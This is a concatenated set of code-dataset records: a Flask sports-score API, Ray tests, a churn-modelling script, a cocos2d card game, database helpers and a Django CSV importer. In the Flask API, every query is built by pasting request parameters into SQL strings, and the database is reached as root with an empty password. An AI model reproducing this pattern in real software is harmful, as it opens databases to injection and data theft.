as mdb\n\napp = Flask(__name__)\nCORS(app,resources=r\"/*\")\n\n@app.route(\"/\")\ndef say_hello():\n return \"hello SF-ND!\"\n\n#数据库操作,传入操作字符串,返回套着字典的列表\ndef query_sql(sql):\n print(sql)\n con=mdb.connect('localhost','root','','ours',charset='utf8')\n cur=con.cursor()\n cur.execute(sql)\n con.commit()\n con.close()\n des=cur.description\n l=[]\n for row in cur.fetchall():\n dis={}\n for i in range(len(cur.description)):\n dis[cur.description[i][0]]=row[i]\n l.append(dis)\n return l\n\n#查询学号\ndef get_sid(cla,name):\n sql=\"select sid from students where class='{}' and name='{}'\".format(cla,name)\n r=query_sql(sql)\n return r[0]['sid']\n\n#是否已经加入过\ndef check(gra,cla,name,pro):\n sql=\"select * from sports where grades='{}' and class='{}' and name='{}' and projects='{}'\".format(gra,cla,name,pro)\n r=query_sql(sql)\n if len(r):return False\n return True\n\n#按年级+班级查成绩\n@app.route('/getgrades/byclass/',methods=['GET','POST'])\ndef class_grades():\n args=\"SELECT * FROM sports where grades='\"+request.values.get('grades')+\"' and class='\"+request.values.get('class')+\"'\"\n myresult = query_sql(args)\n\n return {\"data\":myresult}\n\n#按年级+班级+名字查成绩\n@app.route('/getgrades/byname/',methods=['GET','POST'])\ndef name_grades():\n args=\"SELECT * FROM sports where grades='\"+request.values.get('grades')+\"' and class='\"+request.values.get('class')+\"' and name='\"+request.values.get('name')+\"'\"\n myresult = query_sql(args)\n\n return {\"data\":myresult}\n\n#按项目查成绩\n@app.route('/getgrades/bypro/',methods=['GET','POST'])\ndef pro_grades():\n args=\"SELECT * FROM sports where projects='\"+request.values.get('projects')+\"'\"\n myresult = query_sql(args)\n\n return {\"data\":myresult}\n\n#查询当前项目\n@app.route('/projects/',methods=['GET','POST'])\ndef projects():\n args=\"select projects from sports group by projects\"\n myresult = query_sql(args)\n l=[i['projects'] for i in myresult]\n\n return {\"data\":l,\"len\":len(l)}\n\n#上传成绩\n@app.route(\"/upgrades/\",methods=['GET','POST'])\ndef up_date():\n data=request.values.get('data')\n dic=json.loads(data)\n print(dic)\n for i in dic:\n try:\n if i['name']==\"团体\": i['sid']=\"\"\n else: i['sid']=get_sid(i['grades']+i['class'],i['name'])\n except: return \"error with {} {}\".format(i['grades']+i['class'],i['name'])\n if check(i['grades'],i['class'],i['name'],i['projects'])==False: return \"repeat {}\".format(i['name'])\n for i in dic:\n sql = \"INSERT INTO sports (grades, class, name, achievements,projects,rank,sid,time) VALUES ('%s', '%s', '%s', '%s' ,'%s', '%s','%s',%d)\" % \\\n (str(i['grades']), str(i[\"class\"]), str(i[\"name\"]),\\\n str(i[\"achievements\"]),str(i[\"projects\"]),str(i[\"rank\"]),str(i[\"sid\"]),int(time.time()))\n query_sql(sql)\n return \"update successfully\"\n\n#添加订阅\n@app.route('/follow/up/',methods=['GET','POST'])\ndef follow_up():\n try:\n dic=request.values.to_dict()\n try: sid=get_sid(dic['class'],dic['name'])\n except: return {\"status\":\"empty\"}\n sql=\"select * from follow where qq='{}' and sid='{}'\".format(dic['qq'],sid)\n r=query_sql(sql)\n if len(r):\n print(type(r[0]['status']))\n if r[0]['status']==1: return {\"status\":\"repeat\"}\n sql=\"update follow set status=1 where id={}\".format(r[0]['id'])\n query_sql(sql)\n else:\n sql=\"insert into follow (sid,class,name,qq,time,status) values \\\n ('{}','{}','{}','{}',{},1)\".format(sid,dic['class'],dic['name'],dic['qq'],int(time.time()))\n query_sql(sql)\n return {\"status\":\"ok\"}\n except: return {\"status\":\"error\"}\n\n#订阅列表\n@app.route('/follow/list/',methods=['GET','POST'])\ndef follow_list():\n try:\n dic=request.values.to_dict()\n sql=\"select * from follow where status=1 and qq='{}'\".format(dic['qq'])\n r=query_sql(sql)\n return {\"status\":\"ok\",\"data\":r}\n except: return {\"status\":\"error\"}\n\n#取消订阅\n@app.route('/follow/delete/',methods=['GET','POST'])\ndef follow_delete():\n try:\n dic=request.values.to_dict()\n sql=\"update follow set status=0 where qq='{}' and id={}\".format(dic['qq'],dic['id'])\n query_sql(sql)\n return {\"status\":\"ok\"}\n except: return {\"status\":\"error\"}\n\napp.run(host=\"0.0.0.0\",port=5706)\n","sub_path":"api/score/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4615,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"25211198","text":"# coding: utf-8\nfrom concurrent.futures import ThreadPoolExecutor\nimport json\nimport logging\nimport random\nimport sys\nimport threading\nimport time\n\nimport numpy as np\nimport pytest\n\nimport ray\nimport ray.cluster_utils\nimport ray.test_utils\n\nfrom ray.test_utils import RayTestTimeoutException\n\nlogger = logging.getLogger(__name__)\n\n\n# issue https://github.com/ray-project/ray/issues/7105\ndef test_internal_free(shutdown_only):\n ray.init(num_cpus=1)\n\n @ray.remote\n class Sampler:\n def sample(self):\n return [1, 2, 3, 4, 5]\n\n def sample_big(self):\n return np.zeros(1024 * 1024)\n\n sampler = Sampler.remote()\n\n # Free deletes from in-memory store.\n obj_ref = sampler.sample.remote()\n ray.get(obj_ref)\n ray.internal.free(obj_ref)\n with pytest.raises(Exception):\n ray.get(obj_ref)\n\n # Free deletes big objects from plasma store.\n big_id = sampler.sample_big.remote()\n ray.get(big_id)\n ray.internal.free(big_id)\n time.sleep(1) # wait for delete RPC to propagate\n with pytest.raises(Exception):\n ray.get(big_id)\n\n\ndef test_multiple_waits_and_gets(shutdown_only):\n # It is important to use three workers here, so that the three tasks\n # launched in this experiment can run at the same time.\n ray.init(num_cpus=3)\n\n @ray.remote\n def f(delay):\n time.sleep(delay)\n return 1\n\n @ray.remote\n def g(l):\n # The argument l should be a list containing one object ref.\n ray.wait([l[0]])\n\n @ray.remote\n def h(l):\n # The argument l should be a list containing one object ref.\n ray.get(l[0])\n\n # Make sure that multiple wait requests involving the same object ref\n # all return.\n x = f.remote(1)\n ray.get([g.remote([x]), g.remote([x])])\n\n # Make sure that multiple get requests involving the same object ref all\n # return.\n x = f.remote(1)\n ray.get([h.remote([x]), h.remote([x])])\n\n\ndef test_caching_functions_to_run(shutdown_only):\n # Test that we export functions to run on all workers before the driver\n # is connected.\n def f(worker_info):\n sys.path.append(1)\n\n ray.worker.global_worker.run_function_on_all_workers(f)\n\n def f(worker_info):\n sys.path.append(2)\n\n ray.worker.global_worker.run_function_on_all_workers(f)\n\n def g(worker_info):\n sys.path.append(3)\n\n ray.worker.global_worker.run_function_on_all_workers(g)\n\n def f(worker_info):\n sys.path.append(4)\n\n ray.worker.global_worker.run_function_on_all_workers(f)\n\n ray.init(num_cpus=1)\n\n @ray.remote\n def get_state():\n time.sleep(1)\n return sys.path[-4], sys.path[-3], sys.path[-2], sys.path[-1]\n\n res1 = get_state.remote()\n res2 = get_state.remote()\n assert ray.get(res1) == (1, 2, 3, 4)\n assert ray.get(res2) == (1, 2, 3, 4)\n\n # Clean up the path on the workers.\n def f(worker_info):\n sys.path.pop()\n sys.path.pop()\n sys.path.pop()\n sys.path.pop()\n\n ray.worker.global_worker.run_function_on_all_workers(f)\n\n\ndef test_running_function_on_all_workers(ray_start_regular):\n def f(worker_info):\n sys.path.append(\"fake_directory\")\n\n ray.worker.global_worker.run_function_on_all_workers(f)\n\n @ray.remote\n def get_path1():\n return sys.path\n\n assert \"fake_directory\" == ray.get(get_path1.remote())[-1]\n\n def f(worker_info):\n sys.path.pop(-1)\n\n ray.worker.global_worker.run_function_on_all_workers(f)\n\n # Create a second remote function to guarantee that when we call\n # get_path2.remote(), the second function to run will have been run on\n # the worker.\n @ray.remote\n def get_path2():\n return sys.path\n\n assert \"fake_directory\" not in ray.get(get_path2.remote())\n\n\ndef test_profiling_api(ray_start_2_cpus):\n @ray.remote\n def f():\n with ray.profile(\"custom_event\", extra_data={\"name\": \"custom name\"}):\n pass\n\n ray.put(1)\n object_ref = f.remote()\n ray.wait([object_ref])\n ray.get(object_ref)\n\n # Wait until all of the profiling information appears in the profile\n # table.\n timeout_seconds = 20\n start_time = time.time()\n while True:\n profile_data = ray.timeline()\n event_types = {event[\"cat\"] for event in profile_data}\n expected_types = [\n \"task\",\n \"task:deserialize_arguments\",\n \"task:execute\",\n \"task:store_outputs\",\n \"wait_for_function\",\n \"ray.get\",\n \"ray.put\",\n \"ray.wait\",\n \"submit_task\",\n \"fetch_and_run_function\",\n # TODO (Alex) :https://github.com/ray-project/ray/pull/9346\n # \"register_remote_function\",\n \"custom_event\", # This is the custom one from ray.profile.\n ]\n\n if all(expected_type in event_types\n for expected_type in expected_types):\n break\n\n if time.time() - start_time > timeout_seconds:\n raise RayTestTimeoutException(\n \"Timed out while waiting for information in \"\n \"profile table. Missing events: {}.\".format(\n set(expected_types) - set(event_types)))\n\n # The profiling information only flushes once every second.\n time.sleep(1.1)\n\n\ndef test_wait_cluster(ray_start_cluster):\n cluster = ray_start_cluster\n cluster.add_node(num_cpus=1, resources={\"RemoteResource\": 1})\n cluster.add_node(num_cpus=1, resources={\"RemoteResource\": 1})\n ray.init(address=cluster.address)\n\n @ray.remote(resources={\"RemoteResource\": 1})\n def f():\n return\n\n # Make sure we have enough workers on the remote nodes to execute some\n # tasks.\n tasks = [f.remote() for _ in range(10)]\n start = time.time()\n ray.get(tasks)\n end = time.time()\n\n # Submit some more tasks that can only be executed on the remote nodes.\n tasks = [f.remote() for _ in range(10)]\n # Sleep for a bit to let the tasks finish.\n time.sleep((end - start) * 2)\n _, unready = ray.wait(tasks, num_returns=len(tasks), timeout=0)\n # All remote tasks should have finished.\n assert len(unready) == 0\n\n\n@pytest.mark.skip(reason=\"TODO(ekl)\")\ndef test_object_transfer_dump(ray_start_cluster):\n cluster = ray_start_cluster\n\n num_nodes = 3\n for i in range(num_nodes):\n cluster.add_node(resources={str(i): 1}, object_store_memory=10**9)\n ray.init(address=cluster.address)\n\n @ray.remote\n def f(x):\n return\n\n # These objects will live on different nodes.\n object_refs = [\n f._remote(args=[1], resources={str(i): 1}) for i in range(num_nodes)\n ]\n\n # Broadcast each object from each machine to each other machine.\n for object_ref in object_refs:\n ray.get([\n f._remote(args=[object_ref], resources={str(i): 1})\n for i in range(num_nodes)\n ])\n\n # The profiling information only flushes once every second.\n time.sleep(1.1)\n\n transfer_dump = ray.object_transfer_timeline()\n # Make sure the transfer dump can be serialized with JSON.\n json.loads(json.dumps(transfer_dump))\n assert len(transfer_dump) >= num_nodes**2\n assert len({\n event[\"pid\"]\n for event in transfer_dump if event[\"name\"] == \"transfer_receive\"\n }) == num_nodes\n assert len({\n event[\"pid\"]\n for event in transfer_dump if event[\"name\"] == \"transfer_send\"\n }) == num_nodes\n\n\ndef test_identical_function_names(ray_start_regular):\n # Define a bunch of remote functions and make sure that we don't\n # accidentally call an older version.\n\n num_calls = 200\n\n @ray.remote\n def f():\n return 1\n\n results1 = [f.remote() for _ in range(num_calls)]\n\n @ray.remote\n def f():\n return 2\n\n results2 = [f.remote() for _ in range(num_calls)]\n\n @ray.remote\n def f():\n return 3\n\n results3 = [f.remote() for _ in range(num_calls)]\n\n @ray.remote\n def f():\n return 4\n\n results4 = [f.remote() for _ in range(num_calls)]\n\n @ray.remote\n def f():\n return 5\n\n results5 = [f.remote() for _ in range(num_calls)]\n\n assert ray.get(results1) == num_calls * [1]\n assert ray.get(results2) == num_calls * [2]\n assert ray.get(results3) == num_calls * [3]\n assert ray.get(results4) == num_calls * [4]\n assert ray.get(results5) == num_calls * [5]\n\n @ray.remote\n def g():\n return 1\n\n @ray.remote # noqa: F811\n def g(): # noqa: F811\n return 2\n\n @ray.remote # noqa: F811\n def g(): # noqa: F811\n return 3\n\n @ray.remote # noqa: F811\n def g(): # noqa: F811\n return 4\n\n @ray.remote # noqa: F811\n def g(): # noqa: F811\n return 5\n\n result_values = ray.get([g.remote() for _ in range(num_calls)])\n assert result_values == num_calls * [5]\n\n\ndef test_illegal_api_calls(ray_start_regular):\n\n # Verify that we cannot call put on an ObjectRef.\n x = ray.put(1)\n with pytest.raises(Exception):\n ray.put(x)\n # Verify that we cannot call get on a regular value.\n with pytest.raises(Exception):\n ray.get(3)\n\n\ndef test_multithreading(ray_start_2_cpus):\n # This test requires at least 2 CPUs to finish since the worker does not\n # release resources when joining the threads.\n\n def run_test_in_multi_threads(test_case, num_threads=10, num_repeats=25):\n \"\"\"A helper function that runs test cases in multiple threads.\"\"\"\n\n def wrapper():\n for _ in range(num_repeats):\n test_case()\n time.sleep(random.randint(0, 10) / 1000.0)\n return \"ok\"\n\n executor = ThreadPoolExecutor(max_workers=num_threads)\n futures = [executor.submit(wrapper) for _ in range(num_threads)]\n for future in futures:\n assert future.result() == \"ok\"\n\n @ray.remote\n def echo(value, delay_ms=0):\n if delay_ms > 0:\n time.sleep(delay_ms / 1000.0)\n return value\n\n def test_api_in_multi_threads():\n \"\"\"Test using Ray api in multiple threads.\"\"\"\n\n @ray.remote\n class Echo:\n def echo(self, value):\n return value\n\n # Test calling remote functions in multiple threads.\n def test_remote_call():\n value = random.randint(0, 1000000)\n result = ray.get(echo.remote(value))\n assert value == result\n\n run_test_in_multi_threads(test_remote_call)\n\n # Test multiple threads calling one actor.\n actor = Echo.remote()\n\n def test_call_actor():\n value = random.randint(0, 1000000)\n result = ray.get(actor.echo.remote(value))\n assert value == result\n\n run_test_in_multi_threads(test_call_actor)\n\n # Test put and get.\n def test_put_and_get():\n value = random.randint(0, 1000000)\n result = ray.get(ray.put(value))\n assert value == result\n\n run_test_in_multi_threads(test_put_and_get)\n\n # Test multiple threads waiting for objects.\n num_wait_objects = 10\n objects = [\n echo.remote(i, delay_ms=10) for i in range(num_wait_objects)\n ]\n\n def test_wait():\n ready, _ = ray.wait(\n objects,\n num_returns=len(objects),\n timeout=1000.0,\n )\n assert len(ready) == num_wait_objects\n assert ray.get(ready) == list(range(num_wait_objects))\n\n run_test_in_multi_threads(test_wait, num_repeats=1)\n\n # Run tests in a driver.\n test_api_in_multi_threads()\n\n # Run tests in a worker.\n @ray.remote\n def run_tests_in_worker():\n test_api_in_multi_threads()\n return \"ok\"\n\n assert ray.get(run_tests_in_worker.remote()) == \"ok\"\n\n # Test actor that runs background threads.\n @ray.remote\n class MultithreadedActor:\n def __init__(self):\n self.lock = threading.Lock()\n self.thread_results = []\n\n def background_thread(self, wait_objects):\n try:\n # Test wait\n ready, _ = ray.wait(\n wait_objects,\n num_returns=len(wait_objects),\n timeout=1000.0,\n )\n assert len(ready) == len(wait_objects)\n for _ in range(20):\n num = 10\n # Test remote call\n results = [echo.remote(i) for i in range(num)]\n assert ray.get(results) == list(range(num))\n # Test put and get\n objects = [ray.put(i) for i in range(num)]\n assert ray.get(objects) == list(range(num))\n time.sleep(random.randint(0, 10) / 1000.0)\n except Exception as e:\n with self.lock:\n self.thread_results.append(e)\n else:\n with self.lock:\n self.thread_results.append(\"ok\")\n\n def spawn(self):\n wait_objects = [echo.remote(i, delay_ms=10) for i in range(10)]\n self.threads = [\n threading.Thread(\n target=self.background_thread, args=(wait_objects, ))\n for _ in range(20)\n ]\n [thread.start() for thread in self.threads]\n\n def join(self):\n [thread.join() for thread in self.threads]\n assert self.thread_results == [\"ok\"] * len(self.threads)\n return \"ok\"\n\n actor = MultithreadedActor.remote()\n actor.spawn.remote()\n ray.get(actor.join.remote()) == \"ok\"\n\n\ndef test_wait_makes_object_local(ray_start_cluster):\n cluster = ray_start_cluster\n cluster.add_node(num_cpus=0)\n cluster.add_node(num_cpus=2)\n ray.init(address=cluster.address)\n\n @ray.remote\n class Foo:\n def method(self):\n return np.zeros(1024 * 1024)\n\n a = Foo.remote()\n\n # Test get makes the object local.\n x_id = a.method.remote()\n assert not ray.worker.global_worker.core_worker.object_exists(x_id)\n ray.get(x_id)\n assert ray.worker.global_worker.core_worker.object_exists(x_id)\n\n # Test wait makes the object local.\n x_id = a.method.remote()\n assert not ray.worker.global_worker.core_worker.object_exists(x_id)\n ok, _ = ray.wait([x_id])\n assert len(ok) == 1\n assert ray.worker.global_worker.core_worker.object_exists(x_id)\n\n\nif __name__ == \"__main__\":\n import pytest\n sys.exit(pytest.main([\"-v\", __file__]))\n","sub_path":"python/ray/tests/test_advanced.py","file_name":"test_advanced.py","file_ext":"py","file_size_in_byte":14516,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"246854201","text":"import pandas as pd\nimport numpy as np\nfrom sklearn import linear_model as lm\nimport seaborn as sns\nfrom matplotlib import pyplot as plt\n\ndados = pd.read_csv(\"WA_Fn-UseC_-Telco-Customer-Churn.csv\")\ndados.describe().T\nprint(list(dados.columns))\n\ndados.loc[488,\"TotalCharges\"] = dados.loc[488,\"MonthlyCharges\"]\ndados.loc[753,\"TotalCharges\"] = dados.loc[753,\"MonthlyCharges\"]\ndados.loc[936,\"TotalCharges\"] = dados.loc[936,\"MonthlyCharges\"]\ndados.loc[2259,\"TotalCharges\"] = dados.loc[2259,\"MonthlyCharges\"]\n\n\ndados[\"TotalCharges\"] = pd.to_numeric(dados[\"TotalCharges\"])\n\n\n\nsns.barplot(x = \"Churn\", y = \"MonthlyCharges\", data = dados)\nplt.show()\nsns.boxplot(x = \"Churn\", y = \"tenure\", data = dados)\nplt.show()\nsns.boxplot(x = \"Churn\", y = \"TotalCharges\", data = dados)\nplt.show()\n\n\nprint(pd.crosstab(dados.Contract, dados.Churn, margins = True, normalize = \"index\")) \nprint(pd.crosstab(dados.PaperlessBilling, dados.Churn, margins = True, normalize = \"index\"))\nprint(pd.crosstab(dados.gender, dados.Churn, margins = True, normalize = \"index\")) #There is no difference between male and female\nprint(pd.crosstab(dados.Dependents, dados.Churn, margins = True, normalize = \"index\")) \nprint(pd.crosstab(dados.SeniorCitizen, dados.Churn, margins = True, normalize = \"index\"))\nprint(pd.crosstab(dados.Partner, dados.Churn, margins = True, normalize = \"index\")) \nprint(pd.crosstab(dados.PhoneService, dados.Churn, margins = True, normalize = \"index\")) #There is no difference here\nprint(pd.crosstab(dados.MultipleLines, dados.Churn, margins = True, normalize = \"index\")) #Multiple lines has a little trend to churn\nprint(pd.crosstab(dados.InternetService, dados.Churn, margins = True, normalize = \"index\"))\nprint(pd.crosstab(dados.OnlineSecurity, dados.Churn, margins = True, normalize = \"index\"))\nprint(pd.crosstab(dados.DeviceProtection, dados.Churn, margins = True, normalize = \"index\"))\nprint(pd.crosstab(dados.TechSupport, dados.Churn, margins = True, normalize = \"index\"))\nprint(pd.crosstab(dados.StreamingTV, dados.Churn, margins = True, normalize = \"index\"))\nprint(pd.crosstab(dados.StreamingMovies, dados.Churn, margins = True, normalize = \"index\"))\nprint(pd.crosstab(dados.PaperlessBilling, dados.Churn, margins = True, normalize = \"index\"))\nprint(pd.crosstab(dados.PaymentMethod, dados.Churn, margins = True, normalize = \"index\"))\nprint(pd.crosstab(dados.Dependents, dados.Churn, margins = True, normalize = \"index\"))\n\n\n\nX = dados.iloc[:,1:18]\nprint(X)\nY = dados.iloc[:,20]\n\nfrom sklearn.preprocessing import LabelEncoder\nfrom sklearn.model_selection import train_test_split\n\n\n\nlabel_encoder = LabelEncoder()\ncategorical_cols = [col for col in X.select_dtypes(exclude=[\"number\"]).columns]\n\nX_categorical = pd.DataFrame()\nfor col in categorical_cols:\n X_categorical[col] = label_encoder.fit_transform(X[col])\nprint(X_categorical)\n \nY_categorical = pd.DataFrame()\nY_categorical = label_encoder.fit_transform(Y)\n\nX_num = dados[[\"MonthlyCharges\", \"tenure\"]]\n\n\nX_categorical = pd.concat([X_categorical.reset_index(drop = True), X_num], axis = 1)\n\nX_train, X_test, Y_train, Y_test = train_test_split(X_categorical, Y_categorical, test_size=0.2, random_state=42)\n\nmodelo = lm.Lasso(alpha = 0.2)\nmodelo.fit(X_train, Y_train)\najuste = modelo.fit(X_train, Y_train)\nola = ajuste.predict(X_test) >= 0.5\nprint(pd.crosstab(ola, Y_test))\n\nmodelo = lm.RidgeClassifier(alpha = 0.4)\nmodelo.fit(X_train, Y_train)\najuste = modelo.fit(X_train, Y_train)\nola = ajuste.predict(X_test)\nprint(pd.crosstab(ola, Y_test))\n\n\nmodelo = lm.LogisticRegression()\nmodelo.fit(X_train, Y_train)\najuste = modelo.fit(X_train, Y_train)\nola = ajuste.predict(X_test)\nprint(pd.crosstab(ola, Y_test))\n\n\n\nfrom sklearn.svm import SVR\nfrom sklearn.pipeline import make_pipeline\nfrom sklearn.preprocessing import StandardScaler \nmodelo2 = make_pipeline(StandardScaler(), SVR(C=1.0, epsilon=0.3))\najuste2 = modelo2.fit(X_train, Y_train)\nola2 = ajuste2.predict(X_test) >= 0.5\nprint(pd.crosstab(ola2, Y_test))\n\n\nfrom sklearn import tree\n\nclf = tree.DecisionTreeClassifier(max_depth = 6, splitter = \"random\")\ncaminho = clf.cost_complexity_pruning_path(X_train, Y_train)\nccp_alphas, impurities = caminho.ccp_alphas, caminho.impurities\nfig, ax = plt.subplots()\nax.plot(ccp_alphas[:-1], impurities[:-1], marker='o', drawstyle=\"steps-post\")\nax.set_xlabel(\"effective alpha\")\nax.set_ylabel(\"total impurity of leaves\")\nax.set_title(\"Total Impurity vs effective alpha for training set\")\nplt.show()\n\n\najuste3 = clf.fit(X_train, Y_train)\nola3 = ajuste3.predict(X_test)\nprint(pd.crosstab(ola3, Y_test))\n\n\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.datasets import make_classification\n\nclf = RandomForestClassifier(max_depth=4, random_state=3)\najuste4 = clf.fit(X_train, Y_train)\nola4 = ajuste4.predict(X_test)\nprint(pd.crosstab(ola4, Y_test))\n\n\n","sub_path":"analise.py","file_name":"analise.py","file_ext":"py","file_size_in_byte":4808,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"184394297","text":"import player\nimport ui_elements as ui\nimport constants as c\n\nimport cocos\nfrom cocos.actions import *\n\n# This file is all the cocos2d layer stuff\n\n# The Background\nclass BackgroundLayer(cocos.layer.ColorLayer):\n def __init__(self):\n super(BackgroundLayer, self).__init__(64, 64, 224, 255)\n self.player = player\n label = cocos.text.Label('Dueling Simulator',\n font_name='Times New Roman',\n font_size=32,\n anchor_x='center', anchor_y='center')\n label.position = 800, 850\n self.add(label)\n scale = ScaleBy(1.1, duration=2)\n label.do(Repeat(scale + Reverse(scale)))\n\n\n# Layer for player 1 hand\nclass HandLayer(cocos.layer.Layer):\n def __init__(self, _player):\n super(HandLayer, self).__init__()\n self.hand = _player.hand\n self.position = (c.HAND_X, c.HAND_Y)\n self.cards = []\n self.display_hand()\n\n def display_hand(self):\n i = 0\n for player_card in self.hand:\n new_card = ui.CardSprite(player_card)\n new_card.position = (i * (new_card.width + c.CARD_DIST), 0)\n self.add(ui.GameButton(new_card.x, new_card.y, new_card.width, new_card.height))\n self.add(new_card)\n i = i+1\n\n\n# the main game interface\nclass GameLayer(cocos.layer.Layer):\n\n is_event_handler = True\n\n def __init__(self):\n super(GameLayer, self).__init__()\n self.position = (0, 0)\n self.player = player.Player(\"Yugi\", c.DEFAULT_DECK) # Pass list of card IDs for Deck object to turn into Cards\n\n self.background = BackgroundLayer()\n self.hand_layer = HandLayer(self.player)\n\n self.draw_button = ui.MenuButton('Draw Card', 200, 150)\n self.new_game_button = ui.MenuButton('New Game', 350, 150)\n self.quit_button = ui.MenuButton('Exit', 500, 150)\n\n # displays hand size\n self.card_num = cocos.text.Label(str(len(self.hand_layer.hand)),\n font_size=18,\n x=800,\n y=150,\n color=(0, 0, 0, 255))\n\n self.add(self.background, 0, \"Background\")\n self.add(self.hand_layer, 1, \"Hand\")\n self.add(self.draw_button)\n self.add(self.new_game_button)\n self.add(self.quit_button)\n self.add(self.card_num, 1, \"card num\")\n\n def update(self):\n self.card_num.element.text = str(len(self.hand_layer.hand))\n self.card_num.element.x = 800\n self.card_num.element.y = 150\n self.hand_layer.display_hand()\n\n # For button click graphic\n def on_mouse_press(self, x, y, buttons, modifiers):\n if self.draw_button.check_click(x, y):\n self.draw_button.on_click()\n elif self.new_game_button.check_click(x, y):\n self.new_game_button.on_click()\n if self.quit_button.check_click(x, y):\n self.quit_button.on_click()\n\n# Check for button presses after mouse click\n def on_mouse_release(self, x, y, buttons, modifiers):\n if self.draw_button.check_click(x, y):\n self.draw_button.on_release()\n self.player.drawCard(1)\n if self.new_game_button.check_click(x, y):\n self.new_game_button.on_release()\n self.reset()\n if self.quit_button.check_click(x, y):\n self.quit_button.on_release()\n exit()\n self.update()\n\n # Create new board\n def reset(self):\n self.player.reset_game()\n self.remove(\"Hand\")\n self.hand_layer = HandLayer(self.player)\n self.add(self.hand_layer, 1, \"Hand\")\n\n\n# ----------------\n# Run the interface\ncocos.director.director.init(c.WIN_W, c.WIN_H)\ndefault_scene = cocos.scene.Scene(GameLayer())\ncocos.director.director.run(default_scene)\n","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":3917,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"402425441","text":"import db\n\n\n# возвращает запрос из файла по его названию\ndef get_select_query(name_file):\n \"\"\"\n Returns the query from the file by its name\n :param name_file: Название файла с запросом\n :return:\n \"\"\"\n with open(db.SELECT_QUERY + name_file, 'r') as f:\n return f.read()\n\n\n# добавление новых данных в бд\ndef add_data_in_db(name_fields, items, name_table, clear_table=True):\n \"\"\"\n Adding new data to database\n :param name_fields: Наименование полей\n :param items: Итерируемая последовательность для записи в бд\n :param name_table: Название таблицы\n :param clear_table: Необходимость очистки таблицы перед записью\n :return:\n \"\"\"\n table = name_table\n\n with db.Query() as query:\n if clear_table:\n query.clear_table(table)\n\n sql_ins = 'INSERT INTO {} ({}) VALUES '.format(table, ', '.join(name_fields))\n sql_val = '({})'.format(', '.join(item for item in [db.SYMBOL_SUBSTITUTION] * len(name_fields)))\n query.insert_into(sql_ins, sql_val, items)\n\n\n# возвращает данные из бд в агрегированном виде\ndef get_aggregate_data():\n \"\"\"\n Returns data from the database in aggregated form\n :return:\n \"\"\"\n with db.Query() as query:\n sql = get_select_query('query_aggregated_data.sql')\n data = query.execute_description(sql)\n\n return data\n\n\n# возвращает количество действующих клиентов, которые имеют не менее указанного кол-ва кредитов\ndef get_count_valid_clients(amount_of_credits=3):\n \"\"\"\n Returns the number of active clients who have at least a specified number of credits\n :param amount_of_credits: Минимальное количество кредитов у человека\n :return:\n \"\"\"\n with db.Query() as query:\n sql = get_select_query('query_clients_valid_loan.sql')\n (items, name_fields) = query.execute_description(sql, params=(amount_of_credits,))\n\n return items, name_fields\n\n\n# возвращает количество действующих клиентов одного банка, которые имеют не менее указанного кол-ва кредитов\ndef get_count_clients_one_bank(amount_of_credits=3):\n \"\"\"\n Returns the number of active clients of one bank who have at least a specified number of credits\n :param amount_of_credits: Минимальное количество кредитов у человека\n :return:\n \"\"\"\n with db.Query() as query:\n sql = get_select_query('query_clients_one_bank.sql')\n (items, name_fields) = query.execute_description(sql, params=(amount_of_credits,))\n\n return items, name_fields\n\n\n# возвращает количество всех клиентов\ndef get_count_clients():\n \"\"\"\n Returns the number of all clients\n :return:\n \"\"\"\n with db.Query() as query:\n sql = get_select_query('query_cnt_clients.sql')\n (items, name_fields) = query.execute_description(sql)\n\n return items, name_fields\n","sub_path":"db/work_with_db.py","file_name":"work_with_db.py","file_ext":"py","file_size_in_byte":3302,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"313399450","text":"import csv\nfrom datetime import datetime\n\nfrom core import settings\nfrom datasets.adapters import (\n to_bid,\n to_bid_file,\n to_contract,\n to_contract_file,\n to_expense,\n to_revenue,\n)\nfrom datasets.models import (\n CityCouncilBid,\n CityCouncilContract,\n CityCouncilExpense,\n CityCouncilRevenue,\n File,\n)\nfrom django.core.management.base import BaseCommand\n\nmapping = {\n \"citycouncil_expenses\": {\"model\": CityCouncilExpense, \"adapter\": to_expense},\n \"citycouncil_contracts\": {\"model\": CityCouncilContract, \"adapter\": to_contract},\n \"citycouncil_bids\": {\"model\": CityCouncilBid, \"adapter\": to_bid},\n \"citycouncil_revenue\": {\"model\": CityCouncilRevenue, \"adapter\": to_revenue},\n \"citycouncil_contract_files\": {\"model\": File, \"adapter\": to_contract_file},\n \"citycouncil_bid_files\": {\"model\": File, \"adapter\": to_bid_file},\n}\n\n\nclass Command(BaseCommand):\n help = \"Importa dados de um arquivo CSV.\"\n\n def add_arguments(self, parser):\n parser.add_argument(\"source\")\n parser.add_argument(\"file\")\n parser.add_argument(\"--drop-all\", action=\"store_true\")\n\n def echo(self, text, style=None):\n self.stdout.write(style(text) if style else text)\n\n def warn(self, text):\n return self.echo(text, self.style.WARNING)\n\n def success(self, text):\n return self.echo(text, self.style.SUCCESS)\n\n def handle(self, *args, **options):\n self.echo(options.get(\"source\"))\n self.echo(options.get(\"file\"))\n\n source_map = mapping.get(options.get(\"source\"))\n adapter = source_map[\"adapter\"]\n model = source_map[\"model\"]\n\n if options.get(\"drop_all\"):\n confirmation = input(\"Tem certeza? s/n\")\n if confirmation.lower() in [\"s\", \"y\"]:\n model.objects.all().delete()\n\n saved = 0\n errors = 0\n with open(options.get(\"file\"), newline=\"\") as csv_file:\n reader = csv.DictReader(csv_file)\n\n for row in reader:\n item = adapter(row)\n if not options.get(\"source\").endswith(\"_files\"):\n item.crawled_at = datetime.now()\n item.crawled_from = settings.CITY_COUNCIL_WEBSERVICE\n try:\n item.save()\n saved += 1\n except Exception as e:\n errors += 1\n self.warn(f\"{e}\\n{str(row)}\")\n\n self.success(f\"Concluído!\\nSalvos: {saved} Erros: 